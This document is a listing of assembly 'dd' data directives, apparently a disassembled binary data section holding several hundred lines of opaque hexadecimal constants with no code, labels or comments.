		dd 6CD8ABA5h, 3419F5Fh,	0D5AA1505h, 783FAB39h, 0DA011823h
		dd 7636BB74h, 9EDAB43h,	498D297Bh, 0DCB842DDh, 0CF00DE9Dh
		dd 3B40379Bh, 24EB394Dh, 600932C8h, 0C3EC74D5h,	8381FD39h
		dd 3D20049Bh, 606C255Fh, 33955464h, 0CA8A867h, 0BD41B8AEh
		dd 0CC61B7A4h, 1800C492h, 37490B41h, 2F2588Eh, 3F090A4Dh
		dd 0D882DAADh, 587DD2D6h, 980E25F9h, 0A85C84E2h, 263B725h
		dd 90B3A8B4h, 0DAB6E7E8h, 81837FB4h, 5AA6D9CFh,	0D0D6E58h
		dd 3C64B4F5h, 80B83844h, 0FBC75ED8h, 64CDBB4Bh,	0EEB4C544h
		dd 9BD14AFFh, 52B88054h, 12A5ABEBh, 0F2BA4C5Bh,	0A5B18881h
		dd 95C1805Eh, 0A32B2E99h, 7BDA4E21h, 1AE92683h,	0F414C5D4h
		dd 76929010h, 0DD26B496h, 866EEE60h, 0CCB500ECh, 27CF5B1Eh
		dd 424EF5EAh, 0D14EBBF6h, 28E260Fh, 0E47DED90h,	81A2EBE2h
		dd 1AB0758h, 35939FBh, 0A12BE2D2h, 3CEC2EEEh, 53D78080h
		dd 799D98E9h, 88E0C463h, 0DF4A8B65h, 0E36C9C8h,	0F9E59928h
		dd 0B34E1941h, 0A36E6F1Dh, 8C62F000h, 31505EBAh, 0AB5B1AF2h
		dd 2B2D2DA7h, 576A297Dh, 23D9EA98h, 0AADF5E00h,	28593CA6h
		dd 0AD2D2422h, 5848A38Eh, 7C004183h, 0C68246A5h, 0BFB29190h
		dd 7732A110h, 0F919B60Bh, 0F6195721h, 0A195D833h, 29AF084Ah
		dd 0B9AC4434h, 56B78575h, 0F5C5F7BFh, 41F7C9EEh, 246ACA3Dh
		dd 0F87640D9h, 8E0FFF12h, 584F28FAh, 76B82500h,	409F43EDh
		dd 5C3EEA13h, 0A5161A35h, 8A3ADE30h, 0F509D51Dh, 50E85E1Ch
		dd 0F80013Fh, 2D059986h, 9240B074h, 930BC3h, 62BA485Ch
		dd 0D42B8AFEh, 1EC2B10Ch, 12D7D8F1h, 0E95B353Dh, 9D0B0A06h
		dd 0E480B9E5h, 9B53171h, 7FD19521h, 92010488h, 8401E8D8h
		dd 0E9722D69h, 0E3DE0580h, 272C1E80h, 309C233h,	0D7C0099Dh
		dd 0B7BBFD10h, 87ED312h, 1B37CF0h, 9C82B99h, 72330195h
		dd 2CD11157h, 0AD104959h, 0B9E91911h, 0A923516Dh, 8B7B2E00h
		dd 4886E18h, 2CC30D12h,	0F2451DEFh, 53A06023h, 97DC9EC9h
		dd 81012400h, 98DD87EEh, 0C4614B63h, 41B5C18Ch,	9512062Fh
		dd 156DC702h, 4E094677h, 0D3119C27h, 81C9EA00h,	0F88A37F3h
		dd 62E9355Bh, 73DCBA1Dh, 52144071h, 0BF8D2AEFh,	0F3A5702Eh
		dd 448691D8h, 0B197F83Ah, 87FC57A0h, 134AA119h,	0EF781510h
		dd 5DD2E00h, 1630129Fh,	9A100992h, 0E1DDC297h, 85305F84h
		dd 21044E95h, 6E031D8Eh, 0F358408Ah, 1ED9213Dh,	0E9133EBCh
		dd 0AFB8BF82h, 81A1B3C1h, 0F82DF8D3h, 525A1960h, 16701CBFh
		dd 0FA5B114Eh, 0A30853CDh, 3D8E00C2h, 0B9CA99A7h, 7FE10E97h
		dd 0ABF0CFA6h, 0EE01F1A1h, 0FF46B815h, 132F4236h, 80979BC1h
		dd 0B9E1A83Ch, 4145F80h, 4C126h, 0DF81C02Bh, 4DD501C2h
		dd 1ACB8047h, 17833BAh,	29E503BFh, 843F6985h, 0B593B960h
		dd 80A544F6h, 9716FF7Ch, 0C523EE09h, 0F548025Fh, 0C1BD7501h
		dd 76F11905h, 0F1DEC8A0h, 6F8F252Fh, 18AE5E14h,	719950CDh
		dd 0D44CCE27h, 0E9051793h, 8C1ABCF8h, 0B8382909h, 289D593h
		dd 0F9209122h, 0A7E79FD7h, 6B3306E1h, 6A2D95CEh, 3A80663Dh
		dd 0E137422Eh, 466E05AEh, 0BA8D8945h, 0E43910A1h, 0BA6EAA4Fh
		dd 30515900h, 0BC86BE5Fh, 80066812h, 0FB4865F3h, 102E34Bh
		dd 9529E1FFh, 0CE6B1865h, 0CF082F9Dh, 3FAA63A4h, 3EE7BDE0h
		dd 10860F58h, 0BF0222F9h, 204EA341h, 0E9506C5Eh, 0CDBD9D03h
		dd 0A0C4090Fh, 0FE3BFBA0h, 0F4FC0221h, 312DB589h, 7B716C5Eh
		dd 136163A4h, 1CB7281Fh, 0E2844D00h, 8D3DAC67h,	8354B593h
		dd 5EEBB9C7h, 3F21100Ch, 0C964D85Bh, 1FF10477h,	4B35B2A4h
		dd 0AC84C4B3h, 2C69808Dh, 257F50ACh, 0BDD59803h, 886710A6h
		dd 97DA61Dh, 735B2969h,	59B373ADh, 2D9181Ah, 0CA476B64h
		dd 0B2824BE1h, 84092725h, 0F1BEB136h, 393F7117h, 15DB8AEh
		dd 5929112Bh, 603A6A93h, 0A295A1ADh, 0A08DBDADh, 0DABF5061h
		dd 7B60C3Ch, 680E0F5Fh,	1C775A0Bh, 3E60D03Bh, 318BD38Bh
		dd 29D7C58Ah, 136B50ACh, 23B0374h, 1BED8DEDh, 915EB7D5h
		dd 5D4B891Ch, 68EDC7C0h, 9297D176h, 0DE35563Bh,	86D39D00h
		dd 0E9435EBFh, 0F7014A6Ah, 0DE98A077h, 8B9F0574h, 0C12CA1ACh
		dd 2E18258Bh, 0BAA48CACh, 6F2C006Ah, 0E31D028Ch, 84C01AB8h
		dd 9A97FBC5h, 27C77C16h, 5AC9D15Ch, 97D3BFF5h, 647A078h
		dd 3252A9E9h, 8490A479h, 0CEE5C725h, 0D4B09CF3h, 7DD71625h
		dd 820F52B0h, 8D680850h, 412583B9h, 0F93B46DDh,	2D9CB871h
		dd 0E34055D2h, 9604284Fh, 5FDA8A50h, 3AB18CFFh,	0F1333800h
		dd 0B7583948h, 0A318BFA4h, 3A16471Bh, 0D0EBD989h, 0BD07BB1Eh
		dd 0E62E3625h, 207B9804h, 68001FB9h, 639F0DFDh,	247FC7BBh
		dd 879470C4h, 0C9800E02h, 595E9309h, 11EB17BCh,	0D82460BAh
		dd 8A016050h, 0AE6FB8D3h, 407A3793h, 1525BF6Fh,	0B093556Bh
		dd 0A09FED28h, 5ABB668Ch, 0DB615FBAh, 2EA809Ch,	97B5C834h
		dd 0FD8D971Eh, 459CCD60h, 0A0391C40h, 0C6D8043h, 0E484EB81h
		dd 562F6F2Dh, 3E4A5BF5h, 3986EEEh, 0E1A0E7CFh, 0D740B0C1h
		dd 96BA1FBBh, 3DE9CB36h, 4AF6B1FEh, 94E87DDh, 2DDDB971h
		dd 1123E04h, 4658501h, 6BBD392Eh, 0B4042152h, 0BDB831C5h
		dd 274A79E3h, 0BF8C20FAh, 582F327Ch, 55D9FE67h,	0C7FDB500h
		dd 25C8C66Ah, 0AFC6B807h, 6265B725h, 0F6D074DFh, 1F4D1900h
		dd 116E939Dh, 0E9685E56h
		dd 8B518203h, 0BF1660DFh, 76EA1E38h, 0EC56E75Bh, 0B9781255h
		dd 8C15AC80h, 0C4B3C427h, 1550778Fh, 8BE21DFFh,	8A7AFE4Bh
		dd 0F83FEE02h, 0B3E3878Bh, 6B5CD8A2h, 0A9B5DFEBh, 24845BA5h
		dd 0CC8094Fh, 0FC4B5966h, 4A810285h, 0A67B22F9h, 30CF0766h
		dd 0DAD3D04Dh, 9B48D8CDh, 69D1002Eh, 253EDDB1h,	997DE8Eh
		dd 0C92C4D1Ch, 74FF68FFh, 768F2CD3h, 56AF6F11h,	0A55A42BEh
		dd 0E07DC954h, 0E53EDF8Eh, 0BC4D362Eh, 0CE32B925h, 6AF82D2Bh
		dd 577AC37Bh, 0BF0428C4h, 4E48597h, 0A1294298h,	707E25CFh
		dd 6351BBAAh, 96748417h, 3174098h, 19BEA893h, 8CF88471h
		dd 817678Eh, 0ED485BA4h, 0F15012FCh, 0B8C304F0h, 7BAF93F0h
		dd 434526FFh, 5C2BAD38h, 0F2005711h, 0BBB2436Ah, 9916129Eh
		dd 88C9B259h, 8B8A621h,	0AD261BA9h, 1ED125h, 0E34E49E0h
		dd 0CF02F130h, 12217CDDh, 13A4D792h, 0D7CAAB61h, 0D512004Ch
		dd 7FD9FF04h, 0BB49C52Bh, 9562BFF4h, 0F47374h, 0B4DE589Ah
		dd 0BBBA1337h, 5719FA0h, 5278B883h, 0E2595ACBh,	2F5EA816h
		dd 4A1057DCh, 7A00A82Fh, 8B8753EBh, 1210A2B4h, 0B2F6B64Ah
		dd 0AD5488CDh, 643DB9F4h, 20B0510Fh, 0E2615AFAh, 10BA80Fh
		dd 9CFAB2D7h, 0CB884308h, 140EE9A1h, 4B4CE4AEh,	0EC1D5900h
		dd 40E43EBAh, 0D98B13EEh, 3B3A22C6h, 95051CD7h,	0DB025A64h
		dd 49EBC85Ah, 44D1C0D7h, 720A0B0Ch, 84806C68h, 77E95B45h
		dd 97A178BDh, 1FC1D56Dh, 0FF095CBh, 8230B787h, 7EB7C18Bh
		dd 0AD9D61EAh, 0D5F01513h, 9AD476DEh, 0DCA99429h, 98977000h
		dd 44C63E0Ch, 48C063CAh, 7C0B52B3h, 0CD21E0F5h,	0BFA2E0D8h
		dd 0C925302Eh, 24F6329h, 0B390D8DAh, 37F550E3h,	0DBAB8096h
		dd 7191A1CBh, 0E7738C24h, 7A331912h, 0A86DC231h, 78B08E95h
		dd 1234BFDFh, 0EA0296D6h, 2DBDE18Ch, 0D95B3375h, 8179F9ADh
		dd 0FFADCB80h, 0F27636D1h, 51405615h, 46011590h, 26A9E94h
		dd 3CB8533Dh, 0F4B4E0BDh, 9A7A18Ah, 0FC7E2B11h,	35051AD7h
		dd 512E3438h, 5300C6E2h, 6A05A685h, 2C95B1Ch, 0C0106D90h
		dd 0C663337h, 99B8AC5Eh, 5423AAAh, 0E19D2B0Ah, 7FE96491h
		dd 8479E37Ah, 6005E0FFh, 17C2EF52h, 0E24AED61h,	857E6EBEh
		dd 1CDB3E40h, 0B83900E8h, 0E11BAF9Ah, 0DC0BF92Ah, 0D79133D8h
		dd 9A416B15h, 0E320DF8Bh, 0D2BB0356h, 5F680898h, 60F4B7C9h
		dd 2B4A05B4h, 354AF68Ah, 2AF9F1EBh, 67008B8Ah, 0D227C7B0h
		dd 3E0083BEh, 29469473h, 9D32F58Dh, 0ED697771h,	0E2594056h
		dd 3601A2EAh, 5B51C8CFh, 0B36DFF6Ah, 4F00F5B8h,	701C03E3h
		dd 0EB3295Bh, 0ABF781E6h, 8A53DA21h, 3F9F61FDh,	6016CCA8h
		dd 4C34A289h, 61D31E2Ch, 0F21BBEC3h, 0DA81984Bh, 3B2513F6h
		dd 0FA98BF08h, 9D7E8A53h, 0B04AA522h, 89313F8Ah, 3A70E66Fh
		dd 2546B388h, 3075838Ah, 5D98289h, 0AB90A0F0h, 45D20448h
		dd 0D75B0916h, 1C699C22h, 44469533h, 14CD2AD1h,	37E9C8B6h
		dd 8E6A9F03h, 63C8D815h, 99003C66h, 4C271101h, 720FBEA6h
		dd 5C80527Ah, 0B6159112h, 9D0B043Eh, 0B2AB1A6Dh, 93CD2787h
		dd 0DAEFF30Dh, 0C8CCFFE8h, 394A807Bh, 1F8BDB4h,	0C10A6BBh
		dd 30C82B53h, 7E482037h, 4D43C09Ah, 9879B1h, 0F0A8E50Eh
		dd 0F551C459h, 0D71F0704h, 0B2AFD18Bh, 8EE91ACAh, 18AC543Bh
		dd 4485A120h, 5F024C71h, 61125CBFh, 0C6A2557Dh,	0D92BFFB7h
		dd 3E339C10h, 54CB0E70h, 29002D47h, 892021FAh, 315FF80Bh
		dd 6194919Dh, 42E77Ah, 2D6EB81h, 70E943B1h, 0A914E144h
		dd 4FCC5E1Dh, 0C5E32580h, 2C483664h, 8380A4BFh,	2D0A030h
		dd 1E42FF32h, 45568371h, 311885CBh, 7904EEB5h, 5B496397h
		dd 601C0828h, 0F4B7E420h, 2F6A1C4Fh, 0A1F0137h,	77CEAE0Bh
		dd 64B7D0A2h, 59DDE39Ah, 0E52E801Dh, 17644588h,	3423CF16h
		dd 72038DEEh, 0BEB9156Fh, 950104C8h, 0F7BF184Dh, 0B56EE17Bh
		dd 0C5456485h, 2CB6BFFCh, 62A4F9E0h, 478B3802h,	0BD43EAAh
		dd 3AE4E75h, 77DEAD7Bh,	82893372h, 97EFD831h, 2288C14Ah
		dd 8DDB0181h, 2B7CE39Ch, 0B8343DD2h, 0CA61001Dh, 91A7C5FBh
		dd 7698F11Fh, 0DBB13A0Bh, 0FE825C65h, 0F1031D46h, 0BAF6A116h
		dd 6FA7C80h, 0B60820Bh,	6848F785h, 15417595h, 567EA221h
		dd 0B8DAEDA7h, 7CE602D5h, 0E714D4E0h, 0F0767355h, 71043A5Fh
		dd 0D2EC7567h, 31C04FBCh, 7F89A874h, 0DFB24262h, 0ECC14661h
		dd 259C01ADh, 23684FF4h, 3C1FF55Fh, 229E5B2Fh, 0C04E10C7h
		dd 0CE8D6692h, 0C5959AECh, 0D6865010h, 0FF04E6E2h, 10E8E596h
		dd 23074940h, 0A60240ECh, 5BC517AAh, 0CAFA7DACh, 0EB858927h
		dd 0E2AAEC6Fh, 73DFE2E8h, 766070ADh, 7678A531h,	382B3155h
		dd 35D658E5h, 3DE177F6h, 5AB62364h, 0B64FA5B7h,	0DB6A073h
		dd 6F970B6Dh, 4455F946h, 0E1FF3729h, 0D35989CBh, 90576C2h
		dd 16D73989h, 5812D5Bh,	0DFD31CD3h, 0B2AFFBE1h,	4A398860h
		dd 12A4CE02h, 7AAF0518h, 6ACD04DDh, 4ABF9D23h, 0DEA4601Dh
		dd 0A5AA6197h, 307095C5h, 8C6688E5h, 81DB82BDh,	9DCC551Ch
		dd 0D407BCh, 3291106Fh,	3C5E6EB6h, 600EBDF4h, 12798529h
		dd 0EEFE74BBh, 5261DF31h, 20A19888h, 0D9B55F12h, 7F5375CEh
		dd 3FDDB2D0h, 0E2CA73A1h, 651F00D0h, 8871557Eh,	3EF11351h
		dd 0F03C30D1h, 0D6724CB7h, 1A0EA702h, 746BADF6h, 21090B1Eh
		dd 9303B7D5h, 39B26019h, 1E0585BBh, 0FC607912h,	2574CFEFh
		dd 6449CD61h, 0F21B6316h, 0B5A7405h, 5E50AF58h,	0FAB56012h
		dd 0AED6B2A8h, 0BF661CC0h, 5B92098Eh, 4FD5585Ah, 915D40CEh
		dd 3F256295h, 0A906E24Ch, 1ACDDD93h, 898A3E0h, 5C79B54Fh
		dd 4446A060h, 53501261h, 0C4D0B95Bh, 4E82B9BFh,	12B7C44Ah
		dd 6F584BB7h, 0B58614CCh, 231F1694h, 4E876BABh,	5E7BB162h
		dd 487E40ADh, 4F00F69Ch, 95A243DAh, 13EFBB5h, 1C57533Bh
		dd 6BF4EAC4h, 0CB817730h, 1B3F1317h, 8D040F5Dh,	6B5E072Bh
		dd 227E9E1h, 0DE00DCC2h, 0B5082E16h, 0CD4A2DFCh, 0F47B6F85h
		dd 0C6187301h, 0C60F798Eh, 0DB2D815Ch, 7976D8E6h, 293AE712h
		dd 0A15B9EE3h, 0C0B92A25h, 80F8F9C9h, 0F46907E1h, 0EE0E60A1h
		dd 2F09D394h, 33D6CC0Dh, 0A13613F9h, 148DEA32h,	27A8B839h
		dd 0ABA0D105h, 0DAD16038h, 226A29CFh, 10776109h, 8EBA32h
		dd 0B8295E25h, 1A2DD16Ah, 6E045301h, 0F047413Ch, 6A7A7C21h
		dd 2A0474Dh, 942FA464h,	40965C62h, 0F932D2B3h, 0A213C4F6h
		dd 0BAAA780h, 33545AFFh, 0F5AB00F6h, 0CC493E19h, 0A690E5D2h
		dd 0ECC17524h, 81BBE85Bh, 0B924B797h, 1D7A4007h, 253A7B4Fh
		dd 2A5D6B65h, 0BF40FC0Ah, 793EC0E0h, 946DE68h, 7211DA1Ch
		dd 0B8993D58h, 0C98C2EA7h, 504809C8h, 291F98D5h, 4074BFBDh
		dd 56858D09h, 0C4BFFC57h, 39B90B03h, 15C1F98Bh,	1D523B5Ch
		dd 405A3B29h, 8E40C4C1h, 9CF9DA93h, 5BB71501h, 936765B6h
		dd 3031824Eh, 2186A509h, 7D61BCD2h, 5CC0C74Dh, 0CEF70EBAh
		dd 0B812ED5Ah, 9D0BF0E3h, 9B7FBA25h, 5F652557h,	5A38631Ch
		dd 776EAFh, 8F72FB69h, 2D3DA1BFh, 35DC56D0h, 5B2D2610h
		dd 0D76925DCh, 0CDDDEB29h, 5715C2BEh, 0B900E1D9h, 0C1532D40h
		dd 0D86ABFFDh, 0F9A835D7h, 75B4181Dh, 0D4ED0E22h, 0AB0B9F03h
		dd 149D3F07h, 0DF7AEF29h, 4F09FA00h, 702715B7h,	8512FC77h
		dd 3C9D0651h, 99A873Fh,	0F2C49579h, 0BBC8EF53h,	59320072h
		dd 17FA4F96h, 0AD048715h
		dd 0CE3528B2h, 0D135448Bh, 0E09DB643h, 95CC1FF6h, 2AF93499h
		dd 88756BF6h, 0FB0188CBh, 920B3403h, 0E30D333h,	3F7A97BDh
		dd 1E5C23A2h, 0D8B3D32Dh, 1B00023Bh, 4819370Ah,	58EF63D1h
		dd 981D2681h, 0B555E7D4h, 383027E2h, 7C05F221h,	0B34D654Ch
		dd 135708BBh, 0A883192Fh, 1F822DD4h, 966C935Bh,	4C0D059Ch
		dd 51C5EBB4h, 9E6FFAh, 9EB0854h, 4DA9E7FEh, 0F9117657h
		dd 0C6AC7107h, 991B10BFh, 9298173Dh, 0CB1FFD12h, 5B325DDAh
		dd 0F70A41FBh, 350BD364h, 0EA725E2Ch, 3FD7A5FFh, 801B807Ch
		dd 0D551A426h, 0C3CD4B5Bh, 0DFF6BC2Ah, 0DC1FE109h, 1746DEBDh
		dd 5C8761Dh, 0CCE2B3BBh, 215B96A4h, 0F1D21ABCh,	0F9E89308h
		dd 84D8DEAAh, 158117B7h, 0DB2B01F1h, 0C01BC826h, 1AE22958h
		dd 8873D209h, 432F0293h, 26FA5E6Dh, 0E02EFC2Dh,	1F0235CFh
		dd 554FF08Eh, 52C2ECC6h, 5DFCF380h, 1591B535h, 0BF6F648Eh
		dd 7132C9DDh, 0EC8CE65Fh, 0D136799h, 93F5DAB5h,	9580D96h
		dd 0C6427047h, 3F04BEE6h, 965061E6h, 9A07B2BBh,	833DFFABh
		dd 94D00039h, 686EB86Dh, 4003BE58h, 26AAB3Ah, 0FA9BB400h
		dd 5E1AE6CBh, 25222730h, 0CD0F8E64h, 0CB918831h, 5A355D5Bh
		dd 27BC4CA7h, 0DD518C8Fh, 0D178B789h, 5729443Ah, 0BBC012ECh
		dd 0B64F9DBh, 3023504Fh, 0BF08B085h, 0E7893DA0h, 8B1B5B85h
		dd 0D831BBD9h, 8A012F65h, 3BA859D8h, 13238DCCh,	0A73149BDh
		dd 7C6E5A48h, 793B4C07h, 0F411B1B2h, 0F98AC81Bh, 80133EA4h
		dd 3DA33DEFh, 257DBB02h, 12746C53h, 56084E51h, 0C6047B98h
		dd 61C88B5Bh, 0F75212FEh, 0E0DA5B11h, 0E38AA680h, 9602A58Ch
		dd 0F99A103h, 0FFB2FD8Bh, 0D625045Eh, 8D2960EFh, 0E7B515B5h
		dd 6120B11Ah, 84E9002Ch, 9FFF71F1h, 8E2868B7h, 1FA2DD0Bh
		dd 0FC4809D8h, 36D50961h, 89130255h, 0E71A2C05h, 5D6E4C25h
		dd 0B5249F35h, 0FA21D4E0h, 4599B8E9h, 1D042EA5h, 94B02E0Ch
		dd 0B8F85B8Bh, 7483256Bh, 585A6367h, 61712D12h,	0C0C4DBABh
		dd 8A18675Eh, 0AD24C25h, 6D7C6A25h, 0DB649DDEh,	1B11E832h
		dd 0A53757Fh, 0F7CF1BCBh, 1039D080h, 81CB00FBh,	3F2FD59Dh
		dd 2284773h, 0A913B85Fh, 0DD8121F2h, 0AB04291Dh, 0ADF24397h
		dd 32515D03h, 81D38680h, 71BBD5h, 13751C36h, 0DFF79AF0h
		dd 70AD8D02h, 8BB35BE2h, 0EC1D44B5h, 5C760059h,	0FE446A5Dh
		dd 3F258EF4h, 293DDD5Fh, 124A813Eh, 7E85DBCDh, 3FE4812Bh
		dd 3DB8967Dh, 0BF5E90AEh, 6F2FAB2Dh, 61B7FF4Ch,	90EBA180h
		dd 9CAD94Ch, 0B3745243h, 4E71C457h, 0A9B89CF5h,	26922541h
		dd 3129EE09h, 74FAD242h, 12E963C7h, 0A0851D00h,	0DBFCAE5Fh
		dd 0CFF7000Ah, 0AB8EA803h, 0E605437Eh, 0D1FFBF42h, 5F9A6EFEh
		dd 5A0937E3h, 0DDD1E206h, 0FA566744h, 0FE8A7330h, 9559FC31h
		dd 0F2A1FE4h, 0DA691086h, 570AD7D4h, 6AF94965h,	6BA09100h
		dd 0E7BC93h, 45750647h,	3011B0Fh, 0E63FA04h, 9EEFD03Eh
		dd 0B511C10Fh, 0A93EED5Fh, 0B13D8EE4h, 210DEB1Ch, 8384B364h
		dd 0BA9320DEh, 4BE5A288h, 0C09BE1FCh, 7D4B27AAh, 0C4800F9Bh
		dd 80D20927h, 1A20774Ah, 7169075h, 0FA9AF532h, 0FCE7F7B4h
		dd 305E55E4h, 0BFC08BBDh, 15B4C40Eh, 91BD091Fh,	9793772Fh
		dd 0A19BAEA4h, 0D005019Fh, 0FA099D03h, 7E52E174h, 9158DCFCh
		dd 0AAE31532h, 1AB40077h, 0ACA97B74h, 0D8564E3Fh, 80166008h
		dd 0AA0936C6h, 0A3EA75D0h, 16363DD7h, 0B5B0A1Dh, 9D290930h
		dd 0D84AAA7Fh, 6DA1D313h, 0B68A7Ah, 161FC099h, 0C48BF7h
		dd 0B091FE2Bh, 2D423CC1h, 6A0504BDh, 0E3E702ABh, 2FE046A4h
		dd 0A2970201h, 57204134h, 445FA14h, 4AD9B703h, 88E5B8DDh
		dd 10598009h, 0C2C1FEDBh, 81CF0E3Bh, 0BD0171E4h, 323A2D51h
		dd 3054DCCAh, 0C6725D52h, 49028521h, 0D9846189h, 20ABE853h
		dd 165B5B0Bh, 0FD190448h, 0FAE2EA1Fh, 0F081E40h, 0C6C02A3Eh
		dd 0BFC82BA4h, 0D12CC5A3h, 93E90AC4h, 80FD2843h, 5C53BB3Bh
		dd 50059407h, 0FA47554Ch, 0C0339DA7h, 0A70FE22h, 0F769639Eh
		dd 0CC57A44h, 0CBEB1FD1h, 0E9DF62E4h, 103CA251h, 0C28E74F6h
		dd 4228088Ah, 0D381DE60h, 0FFD713CBh, 6A99A14Ah, 7A961A8Dh
		dd 0B074BCE5h, 4B498D01h, 72405003h, 4C293855h,	0AFF9B513h
		dd 27DAFF2Ch, 65FB216Eh, 0D7CD907Bh, 52EEB001h,	81229125h
		dd 0A00554D3h, 8AEE26E1h, 0BD8D0823h, 11AD8B07h, 3EE3DF90h
		dd 8684654Eh, 57B817F9h, 7B9BFC4Ah, 4E38F993h, 2EA9B3B9h
		dd 63590160h, 2BAE01F7h, 218529D2h, 0BC9B2B1Bh,	0FBC05348h
		dd 5298FD8Ch, 0BB918B12h, 5C9CE99Bh, 8A33409Bh,	733B9E4Eh
		dd 59208948h, 3FFF4F29h, 8AA95FE2h, 3B05C1C9h, 2739AFCDh
		dd 1606A2Ah, 418779D6h,	363A5418h, 204EB713h, 6D9E1AADh
		dd 9D581CF6h, 97F57020h, 8085EF95h, 1B9CBF3h, 0F2004EB8h
		dd 11C5D593h, 3EA8DDE3h, 0B7BED98Bh, 0F4E55BA5h, 4D764711h
		dd 35842A8Dh, 0BB64AE2Bh, 97FE4BF4h, 6D57E8BAh,	64F143F3h
		dd 0E1FF9817h, 22088F1h, 5F2D406Dh, 20E39497h, 10B704F0h
		dd 3A120Eh, 0A2DFE6B6h,	0F2378D19h, 7A252EEAh, 0EF3E531h
		dd 0E61304EBh, 7A51F0B4h, 5CA605CAh, 810F106Dh,	2F295563h
		dd 0D27FF638h, 69C9AE6Dh, 57EBAA04h, 0B070AE49h, 8E267985h
		dd 4BD427BCh, 0C3DADEBEh, 0B0E7E68Eh, 0BED7B78h, 0B7F6036h
		dd 712DFCD4h, 0AE3C9600h, 2800C37Bh, 7A437267h,	9E582AF4h
		dd 0DBB7163Ah, 4AAA8C8h, 3D9AF6C1h, 87C8EB8Bh, 4F6D955Bh
		dd 52611564h, 6D54893Ch, 0E8F25C33h, 33108C2h, 28BB542Fh
		dd 0BB5901CBh, 7934B30Dh, 98412F61h, 65DBBF66h,	9FE30889h
		dd 0B3279878h, 0F5AB06A4h, 6B7B9FA0h, 7322188h,	0F419E968h
		dd 1A03AB1Fh, 0BC101A16h, 31C3A5DBh, 0BBE0419Bh, 0C625A106h
		dd 213FD775h, 67FD1581h, 302FFCB1h, 81B5011Ch, 0E9120692h
		dd 7AFE0223h, 473C0263h, 71A82285h, 0FC0D00B6h,	4E152CA0h
		dd 74B3F700h, 0F48B4712h, 7B1A02C5h, 8D0408C7h,	0B06DEC55h
		dd 7B72FACh, 9ED68E5Eh,	0BE51C3FFh, 10FE5027h, 0A1A4E5h
		dd 0F15BD874h, 0E39F1C80h, 93C2934Eh, 7AEE5516h, 0AAD408A0h
		dd 899F1EB8h, 0DCD856A5h, 78271D46h, 0FBC244DCh, 70CD8C69h
		dd 3F852DBBh, 0F7E1B75Eh, 0AC165C93h, 530A0D20h, 5700B796h
		dd 90F3CC98h, 0C1E0D504h, 1E7EEC1Dh, 49D82280h,	49A8D056h
		dd 0BF5C7A35h, 4DA06380h, 8D097140h, 80CDD1Fh, 0FB179C7Eh
		dd 5B4D2DF8h, 4800F4BCh, 27FBDCA2h, 0F7095506h,	405DAF60h
		dd 0F195B32h, 6035078Ch, 2F8061C4h, 1B5635CAh, 7BAB5A16h
		dd 79190414h, 0D48151F0h, 5F00300Dh, 2616D468h,	1AFBCD3h
		dd 4BDD2BDAh, 196E2F43h, 9F760277h, 158139Dh, 521DCC84h
		dd 8132D8EBh, 4501640h,	6E971FBFh, 81A7FE73h, 0BFBC0DA0h
		dd 9B2CCD7Fh, 20205017h, 61E78025h, 0BA2A452Bh,	4500C27Ah
		dd 6ADC2377h, 0F9978A8Dh, 0F668067h, 64B51432h,	6F028712h
		dd 0E805B252h, 9B92D9BDh, 7075FB61h, 9258ABEh, 81D34885h
		dd 0D8E509DBh, 6E5E14D9h, 80DD357Ah, 0EC430C2Bh, 6B5C9560h
		dd 0A8B1C0F4h, 1211271Ch, 33F64EDh, 39C17774h, 85C679Ah
		dd 0EFC27451h, 6C576941h, 903390E8h, 801D5E55h,	1691B5A2h
		dd 0A92B3181h, 0E9610E5Ch, 85FD1653h, 4209EEE8h, 5773C677h
		dd 75497698h, 60021E00h, 4F16274Bh, 3E58397Ah, 0CD72A182h
		dd 5D5EC9BBh, 0CED4977h
		dd 5C556B40h, 4CFFE52h,	11A635FAh, 24F2EE5Fh, 2AE5F825h
		dd 6D48D311h, 0BC02A112h, 3C0E1BFh, 8CE8EE2Dh, 74129B13h
		dd 0EDF9CA53h, 0E921EBC7h, 316CB857h, 0DE5C9D20h, 171C49DCh
		dd 8800C68Eh, 6F4BA896h, 7AF02A5Ah, 31578808h, 1FFD8516h
		dd 8800DDAAh, 0E2CAD88h, 0FD575096h, 0E83DB826h, 5C109F76h
		dd 68015C33h, 0D2FF42A6h, 0A53A4D66h, 0EEF92EF4h, 0D801A9E8h
		dd 68F7CD76h, 0A17F1ABBh, 6D9A6B5Ch, 5FC318C8h,	0DA34E098h
		dd 9ADE3ABBh, 0BCB262Bh, 185D810Fh, 80040554h, 115BBD03h
		dd 0EAB97A12h, 8C1CACh,	7B5DDF47h, 0F970D10h, 18C4DD4Bh
		dd 7AEDCAF9h, 290516FDh, 0B41D6185h, 0D19CFE35h, 0F684D425h
		dd 29C59C4Bh, 49B85AF9h, 97B60D01h, 89F0F88Eh, 1C81EBD4h
		dd 0D21A85F3h, 6F51F117h, 0BD000A6Eh, 0B40D0783h, 9997AE7Ch
		dd 38745050h, 51D58203h, 0B0F6ADAEh, 36F66A12h,	0DFEF0FF0h
		dd 19EB353Fh, 0FA507615h, 0E96A7C25h, 9A4E8D7h,	299FA25Dh
		dd 498EED55h, 0AE8DACB8h, 311E820Ah, 133CA3BBh,	5E1939h
		dd 0EA5AA442h, 13BA5A0Fh, 0C05F0DBAh, 965B6142h, 5CE98DADh
		dd 0D5F16279h, 314518DDh, 50FC95BDh, 38BD4527h,	66091AA0h
		dd 795729BBh, 5FF14F0Eh, 0ADB31531h, 0F305CF20h, 3E0B5003h
		dd 0DD26355Bh, 3C9C910h, 9DA53C85h, 57198BFFh, 351E789Ch
		dd 0C1086FA0h, 0EEBCDE3Bh, 61B1FEC9h, 6A17B91Eh, 8DB8B420h
		dd 0D52C3A60h, 0F35B8692h, 91494410h, 0B67DBC1Eh, 79DC4609h
		dd 0C55D4B17h, 61C120E7h, 0DF812701h, 528EF4CCh, 6EFD569Fh
		dd 5C6DEE5h, 0EE04C118h, 7E43459Bh, 0A18952F0h,	0AD256700h
		dd 0E90CCB58h, 52D0B599h, 2EC54EA0h, 0FA3DD1BDh, 0B903E1CEh
		dd 9CDAEE5Ch, 0D469B2E8h, 0D81240B7h, 0A50EBB19h, 8265F4EBh
		dd 2983655h, 0F82321DDh, 285C133h, 8012BD2Ah, 0E805DB81h
		dd 9055170Ah, 0A3DBBA50h, 0B7D9BE97h, 404FD4EAh, 82443E9Ah
		dd 0BBFDCC00h, 593C58Bh, 90C2B55Fh, 0CA803835h,	561EE1C7h
		dd 78D3078Fh, 0B118D09h, 60186F5Dh, 2EB7C260h, 0C1C6B50Bh
